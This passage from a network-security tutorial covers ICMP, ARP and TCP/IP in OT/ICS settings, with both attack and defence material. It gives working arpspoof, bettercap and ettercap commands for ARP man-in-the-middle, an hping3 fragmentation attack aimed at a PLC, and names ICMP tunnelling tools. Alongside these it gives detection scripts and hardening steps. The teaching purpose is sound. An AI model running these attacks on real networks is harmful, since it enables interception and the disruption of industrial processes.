      3     Port Unreachable               No service on UDP port
      4     Fragmentation Needed           MTU path discovery
      9     Dest. Network Admin. Prohibit  Firewall block (ACL)
      10    Dest. Host Admin. Prohibit     Firewall block
      13    Comm. Admin. Prohibited        Firewall block
5     0     Redirect Datagram for Net      Route manipulation attack
      1     Redirect Datagram for Host     Route manipulation attack
8     0     Echo Request                   Ping — host discovery
11    0     Time Exceeded (TTL)            Traceroute mechanism
      0     TTL exceeded in transit        Traceroute hop
      1     Fragment reassembly timeout    Fragmentation issue
12    0     Parameter Problem              Malformed packet
13    0     Timestamp Request              OS fingerprinting
14    0     Timestamp Reply
17    0     Address Mask Request           Network enumeration (deprecated)
18    0     Address Mask Reply
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  9.3 ICMP in Host Discovery and Network Mapping
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Ping — ICMP Echo Request (Type 8) / Echo Reply (Type 0)&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1               &lt;span class="c"&gt;# 4 pings&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.1          &lt;span class="c"&gt;# Single ping, 1 second timeout&lt;/span&gt;
ping &lt;span class="nt"&gt;-b&lt;/span&gt; 192.168.1.255               &lt;span class="c"&gt;# Broadcast ping (may reveal all hosts)&lt;/span&gt;

&lt;span class="c"&gt;# Ping sweep — discover live hosts&lt;/span&gt;
&lt;span class="c"&gt;# Nmap ICMP ping sweep:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PE&lt;/span&gt; 192.168.1.0/24   &lt;span class="c"&gt;# ICMP Echo ping sweep&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PP&lt;/span&gt; 192.168.1.0/24   &lt;span class="c"&gt;# ICMP Timestamp ping sweep (bypasses some firewalls)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PM&lt;/span&gt; 192.168.1.0/24   &lt;span class="c"&gt;# ICMP Address Mask ping sweep&lt;/span&gt;

&lt;span class="c"&gt;# fping — parallel ping for faster sweeps&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;fping
fping &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; 192.168.1.0/24 2&amp;gt;/dev/null  &lt;span class="c"&gt;# -a = show alive, -g = generate range&lt;/span&gt;

&lt;span class="c"&gt;# Traceroute — uses ICMP TTL exceeded responses&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8               &lt;span class="c"&gt;# -n = no DNS resolution&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-I&lt;/span&gt; 8.8.8.8               &lt;span class="c"&gt;# ICMP mode (default is UDP on Linux)&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 8.8.8.8         &lt;span class="c"&gt;# TCP traceroute to port 80&lt;/span&gt;

&lt;span class="c"&gt;# How traceroute works:&lt;/span&gt;
&lt;span class="c"&gt;# Packet 1: TTL=1 → first router decrements to 0 → ICMP Type 11 back&lt;/span&gt;
&lt;span class="c"&gt;# Packet 2: TTL=2 → first router: TTL-1=1, second router: TTL-1=0 → ICMP Type 11&lt;/span&gt;
&lt;span class="c"&gt;# ...continues until destination reached (ICMP Echo Reply or ICMP Port Unreachable)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  9.4 ICMP Attack Techniques
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Ping of Death (historical, CVE-1996-nnnn):&lt;/strong&gt;&lt;br&gt;
An IPv4 packet can theoretically carry up to 65,535 bytes of data (2^16 -1 total length). An ICMP Echo Request with 65,507 bytes of payload (65,535 - 20 IP header - 8 ICMP header) is valid. However, this is larger than the maximum Ethernet frame, so it gets fragmented. On many older implementations, the reassembled packet caused a buffer overflow in the kernel's reassembly buffer — crashing or blue-screening the system. Patched in all modern OSes but still relevant for legacy embedded systems (some OT devices).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Smurf Attack (historical but documented):&lt;/strong&gt;&lt;br&gt;
Attacker sends ICMP Echo Request to a network's broadcast address with spoofed source IP (victim's IP). All hosts on the network reply to the victim. Amplification ratio = number of hosts on the network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10 hosts on network + broadcast ping = 10× amplification
1,000 hosts on network = 1,000× amplification

Mitigation: 
  ISPs should block directed broadcast (RFC 2644)
  Hosts should not respond to broadcast pings
  sysctl net.ipv4.icmp_echo_ignore_broadcasts=1 (Linux default)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ICMP Redirect Attack:&lt;/strong&gt;&lt;br&gt;
ICMP Type 5 allows a router to tell a host "use a different gateway for this specific destination." The host updates its routing table.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack:
  Attacker sends ICMP Redirect: "For destination 8.8.8.8, use gateway 192.168.1.50 (attacker)"
  Victim host adds route: 8.8.8.8 via 192.168.1.50
  All traffic to 8.8.8.8 now goes to attacker first

Defence:
  Disable ICMP redirect acceptance:
  sysctl -w net.ipv4.conf.all.accept_redirects=0
  sysctl -w net.ipv4.conf.all.secure_redirects=0

  Verify:
  cat /proc/sys/net/ipv4/conf/all/accept_redirects  # 0 = disabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ICMP Tunnelling:&lt;/strong&gt;&lt;br&gt;
ICMP Echo Request and Reply packets can carry arbitrary data in their payload. An attacker can encapsulate any TCP/IP traffic inside ICMP packets to bypass firewalls that allow ICMP but block direct TCP/UDP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Normal ping payload: 32 bytes &lt;span class="o"&gt;(&lt;/span&gt;on Windows&lt;span class="o"&gt;)&lt;/span&gt; or 56 bytes &lt;span class="o"&gt;(&lt;/span&gt;on Linux&lt;span class="o"&gt;)&lt;/span&gt;
Attack: Use full 65,507 bytes of ICMP payload to tunnel data

Detection:
- ICMP packets with large payloads &lt;span class="o"&gt;(&amp;gt;&lt;/span&gt;100 bytes &lt;span class="k"&gt;for &lt;/span&gt;Echo&lt;span class="o"&gt;)&lt;/span&gt;
- ICMP packets with unusual payload content &lt;span class="o"&gt;(&lt;/span&gt;not repeating patterns&lt;span class="o"&gt;)&lt;/span&gt;
- High-frequency ICMP traffic from a single host
- ICMP traffic at non-ping timing patterns

Tools: icmptunnel, ptunnel, ICMPTX

&lt;span class="c"&gt;# Detect large ICMP payloads in Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Filter: icmp and data.len &amp;gt; 100&lt;/span&gt;

&lt;span class="c"&gt;# Or with tcpdump:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp and greater 150'&lt;/span&gt;   &lt;span class="c"&gt;# ICMP packets &amp;gt; 150 bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 ICMP Firewall Behaviour and Fingerprinting
&lt;/h3&gt;

&lt;p&gt;When a firewall blocks a connection, the type of ICMP response (if any) reveals the firewall's configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Port response analysis:
  SYN → SYN-ACK:    Port open
  SYN → RST:        Port closed (no service)
  SYN → no response: Port filtered (firewall DROP rule — silent discard)
  SYN → ICMP Type 3 Code 13: Port administratively prohibited (firewall REJECT rule)

The difference between DROP and REJECT:
  DROP:   Firewall silently discards packet → attacker doesn't know if host is up
  REJECT: Firewall sends ICMP error → tells attacker the host exists

  DROP is generally preferred from a security perspective (reveals less)
  REJECT is preferred from a usability perspective (faster failure, clearer error)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Nmap output interpretation:&lt;/span&gt;
&lt;span class="c"&gt;# open: SYN-ACK received&lt;/span&gt;
&lt;span class="c"&gt;# closed: RST received&lt;/span&gt;
&lt;span class="c"&gt;# filtered: no response or ICMP unreachable received&lt;/span&gt;

&lt;span class="c"&gt;# Identify firewall policy (DROP vs REJECT):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--reason&lt;/span&gt; 192.168.1.1
&lt;span class="c"&gt;# "no-response" = DROP policy&lt;/span&gt;
&lt;span class="c"&gt;# "admin-prohibited" = REJECT policy with ICMP Type 3 Code 13&lt;/span&gt;
&lt;span class="c"&gt;# "reset" = no firewall, closed port&lt;/span&gt;

&lt;span class="c"&gt;# Time-based differentiation:&lt;/span&gt;
&lt;span class="c"&gt;# DROP: Nmap waits for timeout (slow)&lt;/span&gt;
&lt;span class="c"&gt;# RST: Immediate response (fast)&lt;/span&gt;
&lt;span class="c"&gt;# Compare scan timing — slow = DROP policy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. ARP — Address Resolution Protocol
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 What ARP Does and Why It Has No Security
&lt;/h3&gt;

&lt;p&gt;ARP (RFC 826, 1982) resolves IPv4 addresses to MAC addresses. Before sending an IP packet, a device must know the MAC address of the next hop (the destination if on the same subnet, or the gateway if not).&lt;/p&gt;

&lt;p&gt;RFC 826 is 7 pages long. It was written in 1982 when the internet consisted of researchers who trusted each other. There is no authentication, no verification, no cryptographic integrity. Any device can claim any IP-to-MAC mapping, and other devices will believe it. This was not an oversight — it was an acceptable design decision at the time.&lt;/p&gt;

&lt;p&gt;Forty years later, this design decision is responsible for some of the most common network attacks in existence.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.2 ARP Operation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ARP Request (broadcast):
  Source: 192.168.1.5 (MAC: AA:BB:CC:DD:EE:FF)
  Wants to reach: 192.168.1.1
  Doesn't know: 192.168.1.1's MAC address

  Sends Ethernet broadcast (dst: FF:FF:FF:FF:FF:FF):
  "Who has 192.168.1.1? Tell 192.168.1.5 (AA:BB:CC:DD:EE:FF)"

  All devices on the segment receive this.
  Only 192.168.1.1 should respond.

ARP Reply (unicast):
  Source: 192.168.1.1 (MAC: 11:22:33:44:55:66)
  Sends directly to 192.168.1.5:
  "192.168.1.1 is at 11:22:33:44:55:66"

ARP Cache:
  Receiving device stores this mapping in ARP cache
  Linux default: 60-second TTL with garbage collection
  Windows default: 15-30 second reachable timeout, up to 45-90 seconds stale

  View ARP cache:
  arp -a                              # Linux/Windows
  ip neigh show                       # Linux (modern)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Gratuitous ARP:&lt;/strong&gt;&lt;br&gt;
A device can send an unsolicited ARP reply announcing its own IP-to-MAC mapping. This is used for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Updating the ARP cache of all neighbours after NIC replacement&lt;/li&gt;
&lt;li&gt;Announcing a new IP address&lt;/li&gt;
&lt;li&gt;High-availability failover (sending gratuitous ARP to update switches after failover)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Gratuitous ARP is the mechanism that makes ARP poisoning possible — any device can announce any mapping, and others accept it without question.&lt;/p&gt;
&lt;h3&gt;
  
  
  10.3 ARP Poisoning Attack — Full Technical Detail
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Network:
  Gateway:        192.168.1.1  (MAC: GW:GW:GW:GW:GW:GW)
  Victim A:       192.168.1.10 (MAC: AA:AA:AA:AA:AA:AA)
  Victim B:       192.168.1.20 (MAC: BB:BB:BB:BB:BB:BB)
  Attacker:       192.168.1.50 (MAC: AT:AT:AT:AT:AT:AT)

Attack:
  Attacker sends to 192.168.1.10:
    "192.168.1.1 is at AT:AT:AT:AT:AT:AT"  (lie about gateway MAC)

  Attacker sends to 192.168.1.1:
    "192.168.1.10 is at AT:AT:AT:AT:AT:AT" (lie about victim MAC)

Result on 192.168.1.10's ARP cache:
  BEFORE: 192.168.1.1 → GW:GW:GW:GW:GW:GW ✓
  AFTER:  192.168.1.1 → AT:AT:AT:AT:AT:AT  ← POISONED

Traffic flow:
  192.168.1.10 sends packet to "gateway" (AT:AT:AT:AT:AT:AT)
  Attacker receives it, reads it (MITM), forwards to real gateway
  Response returns via same path (attacker also poisoned gateway's ARP)

Attacker sees all traffic between victim and gateway.
With IP forwarding enabled, communication continues normally — 
victim has no indication of the attack.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ARP poisoning tools:&lt;/span&gt;

&lt;span class="c"&gt;# arpspoof (dsniff package) — classic tool&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.10 192.168.1.1
&lt;span class="c"&gt;# -t = target (who to poison)&lt;/span&gt;
&lt;span class="c"&gt;# last argument = IP to impersonate&lt;/span&gt;
&lt;span class="c"&gt;# This sends gratuitous ARPs to 192.168.1.10 claiming 192.168.1.1's IP&lt;/span&gt;

&lt;span class="c"&gt;# For bidirectional MITM, run two arpspoof instances:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.10 192.168.1.1 &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpspoof &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.1 192.168.1.10 &amp;amp;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward  &lt;span class="c"&gt;# Enable forwarding&lt;/span&gt;

&lt;span class="c"&gt;# Bettercap — modern, comprehensive&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;bettercap &lt;span class="nt"&gt;-iface&lt;/span&gt; eth0
&lt;span class="c"&gt;# In bettercap console:&lt;/span&gt;
&lt;span class="c"&gt;# net.probe on              # Discover hosts&lt;/span&gt;
&lt;span class="c"&gt;# arp.spoof.targets 192.168.1.10,192.168.1.20  # Target specific hosts&lt;/span&gt;
&lt;span class="c"&gt;# arp.spoof on              # Start poisoning&lt;/span&gt;
&lt;span class="c"&gt;# net.sniff on              # Capture traffic&lt;/span&gt;

&lt;span class="c"&gt;# Ettercap — all-in-one MITM&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ettercap &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-M&lt;/span&gt; arp:remote /192.168.1.1// /192.168.1.10//
&lt;span class="c"&gt;# -T = text mode, -q = quiet, -M = MITM mode arp:remote&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  10.4 Detecting and Mitigating ARP Attacks
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Detection:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# arpwatch — monitors ARP activity, alerts on changes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;arpwatch
&lt;span class="nb"&gt;sudo &lt;/span&gt;arpwatch &lt;span class="nt"&gt;-i&lt;/span&gt; eth0               &lt;span class="c"&gt;# Run and log to syslog&lt;/span&gt;
&lt;span class="c"&gt;# Alerts on: new station, changed ethernet address, flip-flop (rapid MAC changes)&lt;/span&gt;

&lt;span class="c"&gt;# Manual detection — look for duplicate IP with different MAC:&lt;/span&gt;
ip neigh show | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;span class="c"&gt;# Multiple entries for same IP = suspicious&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark detection:&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Find Packet → Packet Details → ARP&lt;/span&gt;
&lt;span class="c"&gt;# Look for: "duplicate use of &amp;lt;IP&amp;gt; detected"&lt;/span&gt;
&lt;span class="c"&gt;# Wireshark automatically alerts on duplicate IP-to-MAC mappings&lt;/span&gt;

&lt;span class="c"&gt;# Detect in Python:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from scapy.all import sniff, ARP
from collections import defaultdict

ip_mac_map = defaultdict(set)

def detect_arp_spoofing(pkt):
    if pkt.haslayer(ARP) and pkt[ARP].op == 2:  # ARP Reply
        ip = pkt[ARP].psrc
        mac = pkt[ARP].hwsrc
        ip_mac_map[ip].add(mac)
        if len(ip_mac_map[ip]) &amp;gt; 1:
            print(f"[!] ARP POISONING DETECTED: {ip} claimed by MACs: {ip_mac_map[ip]}")

print("Monitoring ARP traffic...")
sniff(filter="arp", prn=detect_arp_spoofing, store=0)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Mitigation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;1. Dynamic ARP Inspection &lt;span class="o"&gt;(&lt;/span&gt;DAI&lt;span class="o"&gt;)&lt;/span&gt; — Cisco switch feature
   Switch maintains DHCP snooping binding table &lt;span class="o"&gt;(&lt;/span&gt;IP→MAC→Port→VLAN&lt;span class="o"&gt;)&lt;/span&gt;
   Validates ARP packets against binding table
   Drops ARP packets that don&lt;span class="s1"&gt;'t match
   Prevents ARP poisoning from untrusted ports

   Cisco configuration:
   ip dhcp snooping vlan 10
   ip arp inspection vlan 10
   interface GigabitEthernet0/1
    ip dhcp snooping limit rate 15    # Limit DHCP to 15 pps
   interface GigabitEthernet0/2
    ip arp inspection trust           # Trust this port (uplink to router)

2. Static ARP entries
   Add critical mappings (gateway) as permanent static entries:
   arp -s 192.168.1.1 GW:GW:GW:GW:GW:GW
   ip neigh add 192.168.1.1 lladdr GW:GW:GW:GW:GW:GW dev eth0 nud permanent

   Limitation: manual maintenance, doesn'&lt;/span&gt;t scale

3. 802.1X Port Authentication
   Authenticates devices before granting network access
   Combined with DAI: only authenticated devices can poison ARP

4. Private VLANs
   Prevents communication between hosts &lt;span class="k"&gt;in &lt;/span&gt;the same subnet
   No direct L2 access between clients → no ARP poisoning possible

5. End-to-end encryption &lt;span class="o"&gt;(&lt;/span&gt;TLS&lt;span class="o"&gt;)&lt;/span&gt;
   Even &lt;span class="k"&gt;if &lt;/span&gt;ARP is poisoned and traffic intercepted,
   TLS prevents reading or modifying the content
   This is why ARP poisoning + SSL stripping requires both steps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.5 ARP in OT/ICS Networks
&lt;/h3&gt;

&lt;p&gt;ARP poisoning in OT environments is particularly dangerous because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No encryption:&lt;/strong&gt; Modbus, DNP3, and other industrial protocols transmit in plaintext. An ARP MITM gives complete visibility into and control over industrial protocol traffic.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No authentication:&lt;/strong&gt; Writing to a Modbus register or sending a DNP3 command requires only network access. ARP poisoning provides that access.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No security monitoring:&lt;/strong&gt; Most OT networks have no ARP inspection, no arpwatch, no DAI. ARP poisoning can run undetected indefinitely.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Physical consequences:&lt;/strong&gt; A MITM position on an OT network allows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Passive: Monitoring of all process values and setpoints&lt;/li&gt;
&lt;li&gt;Active: Modification of commands sent to PLCs&lt;/li&gt;
&lt;li&gt;Denial of service: Dropping commands to field devices&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Legacy switches:&lt;/strong&gt; Many OT environments use unmanaged switches. DAI requires managed switches. Unmanaged switches cannot enforce port security.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; ARP's complete lack of authentication is not a vulnerability that will be patched — it is the protocol as designed, and replacing it would require replacing the entire Ethernet ecosystem. DAI and 802.1X are the correct mitigations, but they require managed infrastructure. In their absence, every device on the same L2 segment can impersonate every other device. In OT environments where this is combined with unauthenticated industrial protocols, a single compromised or rogue device has full control over the physical process.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. Putting It All Together — A Complete Packet's Journey
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 The Full Stack in Motion
&lt;/h3&gt;

&lt;p&gt;To solidify all concepts in this module, trace a complete DNS query from a workstation to Google's DNS server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Workstation: 192.168.1.5 (MAC: WS:WS:WS:WS:WS:WS)
Gateway:     192.168.1.1 (MAC: GW:GW:GW:GW:GW:GW)
Target DNS:  8.8.8.8
Query:       "What is the IP of example.com?"

STEP 1: Does workstation know gateway's MAC?
  Check ARP cache: 192.168.1.1 → ?
  If not found: Send ARP broadcast "Who has 192.168.1.1?"
  Gateway replies: "192.168.1.1 is at GW:GW:GW:GW:GW:GW"
  ARP cache updated.

STEP 2: Construct DNS UDP packet

  Application layer builds DNS query:
    DNS header + question: A record for "example.com"

  Transport layer adds UDP header:
    Source port: 54321 (ephemeral)
    Destination port: 53 (DNS)
    Length: [calculated]
    Checksum: [calculated]

  Internet layer adds IP header:
    Source IP: 192.168.1.5
    Destination IP: 8.8.8.8
    TTL: 64 (Linux default)
    Protocol: 17 (UDP)

  Network Access layer adds Ethernet header:
    Destination MAC: GW:GW:GW:GW:GW:GW (gateway — not 8.8.8.8, different subnet)
    Source MAC: WS:WS:WS:WS:WS:WS
    EtherType: 0x0800 (IPv4)

STEP 3: Frame sent on wire to gateway

STEP 4: Gateway receives frame
  Layer 2: Is dst MAC mine? Yes → accept
  Layer 3: Is dst IP mine? No (8.8.8.8 is not 192.168.1.1)
  → Route packet toward 8.8.8.8
  → Build new Ethernet frame with next hop's MAC
  → Decrement TTL (now 63)
  → Send out WAN interface

STEP 5: Packet traverses internet (multiple hops, TTL decrements)

STEP 6: 8.8.8.8 receives packet
  DNS server processes query
  Constructs response
  Response travels back (same process in reverse)

STEP 7: Gateway receives response, routes to workstation
  ARP resolves 192.168.1.5 → WS:WS:WS:WS:WS:WS
  Forwards frame

STEP 8: Workstation receives response
  UDP → port 54321 → DNS resolver → application
  Application knows: example.com → 93.184.216.34
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. TCP/IP in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 TCP/IP Adoption in Industrial Networks
&lt;/h3&gt;

&lt;p&gt;Modern OT networks increasingly use standard TCP/IP. This brings interoperability benefits but also exposes industrial systems to the full TCP/IP threat landscape.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protocols that run over TCP/IP in OT:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Modbus TCP:      TCP 502    — No authentication, direct register access
DNP3:            TCP/UDP 20000 — Limited authentication (SA v5)
EtherNet/IP:     TCP 44818, UDP 2222 — CIP over Ethernet
IEC 60870-5-104: TCP 2404   — Power grid SCADA
IEC 61850 MMS:   TCP 102    — Substation automation
OPC-UA:          TCP 4840   — Modern, has security model
PROFINET:        TCP/UDP (various) — Siemens fieldbus over Ethernet
BACnet/IP:       UDP 47808  — Building automation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 TCP/IP Attacks Specific to OT Context
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Fragmentation attacks against PLCs:&lt;/strong&gt;&lt;br&gt;
Industrial devices often have limited resources and may not handle malformed or fragmented IP packets correctly. Sending fragmented packets (Teardrop-style, overlapping offsets) can crash PLCs or cause them to restart.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fragmentation attack simulation (lab only):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;--frag&lt;/span&gt; &lt;span class="nt"&gt;--data&lt;/span&gt; 1000 &lt;span class="nt"&gt;--mtu&lt;/span&gt; 8 192.168.1.100
&lt;span class="c"&gt;# --frag = fragment packets&lt;/span&gt;
&lt;span class="c"&gt;# --data = payload size&lt;/span&gt;
&lt;span class="c"&gt;# --mtu = force fragmentation at this size&lt;/span&gt;
&lt;span class="c"&gt;# Result: 8-byte fragments → many overlap scenarios possible&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;TCP RST injection against SCADA HMI connections:&lt;/strong&gt;&lt;br&gt;
If an attacker can observe the sequence numbers of an active TCP connection between an HMI and a SCADA server, they can inject RST packets to terminate the connection. This disrupts operator visibility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARP poisoning + Modbus command injection:&lt;/strong&gt;&lt;br&gt;
The most dangerous combined attack:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;ARP poison: Position attacker between HMI and PLC&lt;/li&gt;
&lt;li&gt;Intercept: Capture legitimate Modbus TCP commands&lt;/li&gt;
&lt;li&gt;Modify or inject: Change setpoints, force coil states, or replay commands
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Conceptual Modbus command interception using Scapy (educational):
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.all&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.contrib.modbus&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ModbusADURequest&lt;/span&gt;

&lt;span class="c1"&gt;# In a real attack scenario (authorized lab only):
# ARP poisoning positions attacker in path
# Then capture and modify Modbus TCP traffic passing through
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inspect_modbus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
